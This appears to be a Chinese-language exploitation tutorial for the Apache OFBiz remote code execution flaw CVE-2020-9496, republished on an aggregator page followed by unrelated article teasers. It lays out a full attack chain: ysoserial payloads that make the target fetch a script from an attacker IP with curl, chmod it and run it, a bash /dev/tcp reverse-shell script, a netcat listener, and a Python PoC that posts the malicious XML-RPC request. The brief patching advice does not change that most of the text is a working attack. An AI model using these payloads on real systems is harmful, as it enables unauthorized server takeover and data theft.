Apache OFBiz 17.12.01 的遠程命令執行漏洞 -Java 反序列化 + XML-RPC 請求機制

目錄

漏洞原理

🎯 一、漏洞背景(CVE-2020-9496)

?? 二、攻擊原理簡述

🧱 三、完整攻擊流程步驟詳解

🔎 1. 信息收集

🛠? 2. 工具準備

🧪 3. 構造初始 payload:下載惡意腳本

📨 4. 構造 XML-RPC POST 請求

🧪 5. 啟動臨時 HTTP 服務器

🐚 6. 準備反彈 shell 的腳本 bash.sh

🧨 7. 第二個 payload:修改權限

💥 8. 第三個 payload:執行反彈腳本

📡 9. 啟動監聽

? 四、攻擊流程總結圖(可選)

🔐 五、安全建議

POC部分

? 先決條件(手動準備)

🐍 Python POC 腳本

🧪 使用方法示例

? 安全提醒


漏洞原理

對 Apache OFBiz 17.12.01 的遠程命令執行漏洞(CVE-2020-9496)的完整利用過程,攻擊原理是基于 Java 反序列化 + XML-RPC 請求機制。下面我將逐步分解整個過程,包括漏洞原理、具體步驟、工具使用和攻擊鏈。


🎯 一、漏洞背景(CVE-2020-9496)

Apache OFBiz 是一個基于 Java 的開源企業資源計劃軟件。其 XML-RPC 接口在處理用戶提供的 <serializable> XML 標簽時,沒有對反序列化對象進行嚴格校驗,導致攻擊者可以傳入惡意序列化數據,在服務器端反序列化執行任意代碼。

該漏洞存在于 /webtools/control/xmlrpc 接口。


?? 二、攻擊原理簡述

  1. 入口點/webtools/control/xmlrpc 接口接受 XML-RPC 格式的請求。

  2. 利用點:XML 內的 <serializable> 標簽支持 Java 對象反序列化。

  3. 漏洞點:OFBiz 未驗證反序列化對象的安全性(無黑名單、白名單機制)。

  4. 核心攻擊技術:利用 ysoserial 工具構造一個惡意的 Java 序列化對象,包裝在 XML 中,并通過 POST 請求發送,造成遠程代碼執行。


🧱 三、完整攻擊流程步驟詳解

🔎 1. 信息收集

  • 目標網頁登錄界面暴露了 OFBiz 的版本:17.12.01

  • 查詢得知該版本存在 CVE-2020-9496


🛠? 2. 工具準備

下載 ysoserial 以生成惡意 Java 反序列化 payload:

git clone https://github.com/frohoff/ysoserial
cd ysoserial
mvn clean package

🧪 3. 構造初始 payload:下載惡意腳本

java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "curl 10.10.14.83/bash.sh -o /tmp/bash.sh" | base64 | tr -d "\n"

說明:

  • 使用 CommonsBeanutils1 gadget 生成惡意 Java 對象。

  • 命令通過 curl 下載 payload(bash.sh)到 /tmp/bash.sh

  • 使用 base64 編碼后放入 XML-RPC 請求的 <serializable> 部分。


📨 4. 構造 XML-RPC POST 請求

發送如下請求到目標的 /webtools/control/xmlrpc 接口:

POST /webtools/control/xmlrpc HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093<?xml version="1.0"?>
<methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable></value></member></struct></value></param></params>
</methodCall>

可以用 curl, Burp Suite, Python requests 等發送。


🧪 5. 啟動臨時 HTTP 服務器

為了讓目標通過 curl 下載文件,攻擊者啟動一個 HTTP 服務:

python3 -m http.server

🐚 6. 準備反彈 shell 的腳本 bash.sh

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.83/4444 0>&1

🧨 7. 第二個 payload:修改權限

java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "chmod 777 /tmp/bash.sh" | base64 | tr -d "\n"

同樣發送 XML-RPC 請求讓目標服務器執行該 payload,賦予可執行權限。


💥 8. 第三個 payload:執行反彈腳本

java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "bash -c /tmp/bash.sh" | base64 | tr -d "\n"

最后一次請求觸發反彈 shell。


📡 9. 啟動監聽

攻擊者開啟監聽等待連接:

nc -lvvp 4444

目標執行腳本后,即可與攻擊者建立反彈連接。


? 四、攻擊流程總結圖(可選)

[1] 信息收集↓
[2] ysoserial 構造 payload(curl 下載)↓
[3] POST XML 到 /webtools/control/xmlrpc↓
[4] HTTP 服務器接收到 curl 請求↓
[5] 構造 payload(chmod 腳本)↓
[6] 構造 payload(執行腳本)↓
[7] Netcat 接收到反彈連接

🔐 五、安全建議

  1. 升級 Apache OFBiz 到安全版本(>= 17.12.02)。

  2. 禁用或限制 /webtools/control/xmlrpc 接口的訪問。

  3. 使用 Java 反序列化防護機制(如 Apache Commons IO + ObjectInputFilter)。

  4. 內部資產添加身份驗證與訪問控制。


POC部分

針對 Apache OFBiz CVE-2020-9496利用 PoC(Proof of Concept)腳本,使用 Python 實現自動化發送惡意 XML-RPC 請求。該腳本會:

  1. 使用你手動生成的 base64 payload(通過 ysoserial)

  2. 構造 XML-RPC 請求體

  3. /webtools/control/xmlrpc 發送 POST 請求


? 先決條件(手動準備)

  1. 安裝 ysoserial,生成 payload,例如:

    java -jar ysoserial.jar CommonsBeanutils1 "id" | base64 | tr -d "\n"
    
  2. 替換腳本中的 BASE64_PAYLOAD 內容為你生成的內容。


🐍 Python POC 腳本

import requests# =============== 配置區域 ================
target_url = "https://127.0.0.1:8443/webtools/control/xmlrpc"  # 修改為你的目標
base64_payload = "<REPLACE_WITH_YOUR_BASE64_PAYLOAD>"          # 替換成你的base64內容
verify_ssl = False  # 關閉 SSL 驗證(自簽名證書時使用)# =============== 構造 XML-RPC 請求 ================
xml_body = f'''<?xml version="1.0"?>
<methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">{base64_payload}</serializable></value></member></struct></value></param></params>
</methodCall>
'''headers = {"Content-Type": "application/xml","User-Agent": "Mozilla/5.0"
}# =============== 發送請求 ================
print("[*] Sending payload to target...")
response = requests.post(target_url, headers=headers, data=xml_body, verify=verify_ssl)# =============== 輸出結果 ================
print(f"[+] Response code: {response.status_code}")
print("[+] Response body:")
print(response.text)

🧪 使用方法示例

假設你想執行 whoami

java -jar ysoserial.jar CommonsBeanutils1 "whoami" | base64 | tr -d "\n"

將生成的 base64 粘貼進腳本中,運行:

python3 exploit_ofbiz_cve2020_9496.py

? 安全提醒

該 PoC 僅限于授權測試或靶機環境使用,不得在未授權系統上運行!


本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/82233.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/82233.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/82233.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

最好用的wordpress外貿主題

產品展示獨立站wordpress主題 橙色的首頁大banner外貿英文wordpress主題&#xff0c;適合用于產品展示型的外貿網站。 https://www.jianzhanpress.com/?p8556 Machine機器wordpress模板 寬屏簡潔實用的wordpress外貿建站模板&#xff0c;適合工業機器生產、加工、制造的外貿…

Q1:Go協程、Channel通道 被close后,讀會帶來什么問題?

在 Go 語言中&#xff0c;Channel&#xff08;通道&#xff09;關閉后讀取的行為是一個常見但需要謹慎處理的問題。以下是詳細的分析和注意事項&#xff1a; 1. 關閉 Channel 后讀取的行為 (1) 讀取已關閉的 Channel 剩余數據仍可讀取&#xff1a; 關閉 Channel 后&#xff0…

【AI Study】第三天,Python基礎 - 同NumPy類似的類庫

學習計劃&#xff1a;AI Study&#xff0c;學習計劃源碼地址&#xff1a;https://github.com/co-n00b/AI-Study.git 2025-05-23 在學習NumPy的過程中&#xff0c;除了了解NumPy之外&#xff0c;我們也對比看看其他類似的類庫都有什么&#xff1f;各自的優缺點是什么&#xff1…

基于aspnet,微信小程序,mysql數據庫,在線微信小程序汽車故障預約系統

詳細視頻:【基于aspnet,微信小程序,mysql數據庫,在線微信小程序汽車故障預約系統。-嗶哩嗶哩】 https://b23.tv/zfqLWPV

人工智能100問?第32問:什么是遷移學習?

目錄 一、通俗解釋 二、專業解析 三、權威參考 遷移學習就是讓AI把在一個任務中學到的本事&#xff0c;拿來加速另一個任務的學習&#xff0c;實現“舉一反三”。 一、通俗解釋 想象你已經學會了打乒乓球&#xff0c;現在去學打網球&#xff0c;是不是會學得更快&#xff…

Linux之概述和安裝vm虛擬機

文章目錄 操作系統概述硬件和軟件操作系統常見操作系統 初識LinuxLinux的誕生Linux內核Linux發行版 虛擬機介紹虛擬機 VMware WorkStation安裝虛擬化軟件VMware WorkStation 安裝查看VM網絡連接設置VM存儲位置 在VMware上安裝Linux(發行版CentOS7)安裝包獲取CentOS7 安裝 Mac系…

兩個mysql的maven依賴要用哪個?

背景 <dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId> </dependency>和 <dependency><groupId>com.mysql</groupId><artifactId>mysql-connector-j</artifactId> &l…

復雜項目中通過使用全局變量解決問題的思維方式

最近接手了一個公司的老系統的PHP項目&#xff0c;里面的代碼比較混亂&#xff0c;排查解決了一個問題&#xff0c;決定將這個思路記錄下來&#xff0c;希望能幫助更多的人。 其中一部分的代碼信息如下&#xff1a; 備注&#xff1a;為了避免公司的相關數據信息暴露&#xff0…

V9數據庫替換授權

文章目錄 環境文檔用途詳細信息 環境 系統平臺&#xff1a;Linux x86-64 Red Hat Enterprise Linux 7 版本&#xff1a;9.0 文檔用途 1、本文檔用于指導V9數據庫替換授權。 2、V9數據庫授權文件為license.dat。 詳細信息 1、上傳新的授權文件到服務器并修改授權文件屬主為…

初識 Flask 框架

目錄 1. Flask 框架概述 1.1 安裝 Flask 1.2 創建你的第一個 Flask 應用 1.3 運行 Flask 應用 2. Flask 路由與視圖函數 2.1 動態路由 2.2 支持多種 HTTP 請求方法 2.3 使用 Jinja2 模版渲染 HTML 2.5 模版繼承與塊 3. Flask 表單處理與用戶輸入 3.1 安裝 Flask-WTF …

《深入剖析:Python自動化測試框架之unittest與pytest》

unittest作為Python標準庫的一部分&#xff0c;猶如一位沉穩可靠的“老工匠”&#xff0c;默默為無數項目提供著堅實的測試基礎。它誕生于Python社區長期的實踐沉淀&#xff0c;擁有一套標準化的測試體系&#xff0c;就像一套精密的儀器&#xff0c;各個部件各司其職。 unitte…

【Python 命名元祖】collections.namedtuple 學習指南

&#x1f4da; collections.namedtuple 學習指南 命名元組&#xff08;namedtuple&#xff09;是 Python collections 模塊中一種增強型元組&#xff0c;支持通過字段名訪問元素&#xff0c;同時保持元組的內存效率和不可變性。 一、基礎用法 1. 定義命名元組 from collectio…

iOS知識復習

block原理 OC block 是個結構體&#xff0c;內部有個一個結構體成員 專門保存 捕捉對象 Swift閉包 是個函數&#xff0c;捕獲了全局上下文的常量或者變量 修改數組存儲的內容&#xff0c;不需要加_block,修改數組對象本身時需要 weak原理 Weak 哈希表 &#xff08;散列表&a…

手眼標定:九點標定、十二點標定、OpenCV 手眼標定

因為一直使用6軸協作機器人&#xff0c;且主要應用是三維視覺&#xff0c;平常的手眼標定基本都是基于OpenCV來計算的&#xff0c;聽說有九點標定和十二點標定&#xff0c;順便了解下。 目錄 1.九點標定1.1 基本原理1.2 關于最小二乘法1.3 具體示例 2.十二點標定3.OpenCV 手眼標…

CSS之元素定位

元素定位 一、什么是元素定位 元素定位&#xff08;CSS Positioning&#xff09; 是指通過CSS的 position 屬性控制HTML元素在頁面中的布局方式。它決定了元素如何相對于其父元素、視口或其他元素進行位置調整。 CSS的 position 屬性用于控制元素在頁面上的定位方式&#xff…

測試工程師如何通俗理解和入門RAG:從“查資料”到“寫答案”的智能升級

1. 為什么要學習RAG?——從“查資料”到“寫答案”的飛躍 背景:你已經掌握了Embedding技術,能將文檔、代碼、測試用例等離散信息轉化為向量,用于相似度匹配。 痛點:但僅靠向量匹配找到相關文檔后,如何快速生成答案?如何避免“找到文檔卻不會總結”的尷尬? RAG的價值:…

數量優勢:使用Bagging和Boosting的集成模型

文章目錄 裝袋法&#xff08;Bagging&#xff09;和提升法&#xff08;Boosting&#xff09;利用集成學習創建強大的模型裝袋法&#xff08;Bagging&#xff09;&#xff1a;為機器學習模型增加穩定性裝袋法示例 提升法&#xff08;Boosting&#xff09;&#xff1a;減少弱學習…

5G基站選擇±10ppm晶振及低相噪技術解析

在5G通信技術飛速發展的時代&#xff0c;5G基站作為核心基礎設施&#xff0c;其性能的優劣直接影響著整個通信網絡的質量。晶振作為5G基站中的關鍵器件&#xff0c;對基站的頻率穩定性、信號傳輸質量等起著至關重要的作用。 5G基站對晶振的要求 &#xff08;一&#xff09;高…

嵌入式<style>設計模式

每天分享一個web前端開發技巧。 今天分享的主題是&#xff0c;如何提升前端代碼的內聚性。我們在寫<style></style>的時候&#xff0c;往往把大量無關聯的樣式寫在同一個<style>下&#xff0c;而且離相關的html元素很遠&#xff0c;這樣導致每次想修改某個元…

簡單數學板子和例題

線性丟番圖方程 axbyc dgcd(a,b)&#xff0c;若c|d&#xff0c;有無窮整數解 x x 0 b d n , y y 0 ? a d n xx_0{b\over d}n,yy_0-{a\over d}n xx0?db?n,yy0??da?n POJ 1265 poj真難用&#xff0c;abs一直報錯&#xff0c;萬能頭也不能用&#xff0c;給我調紅溫了 …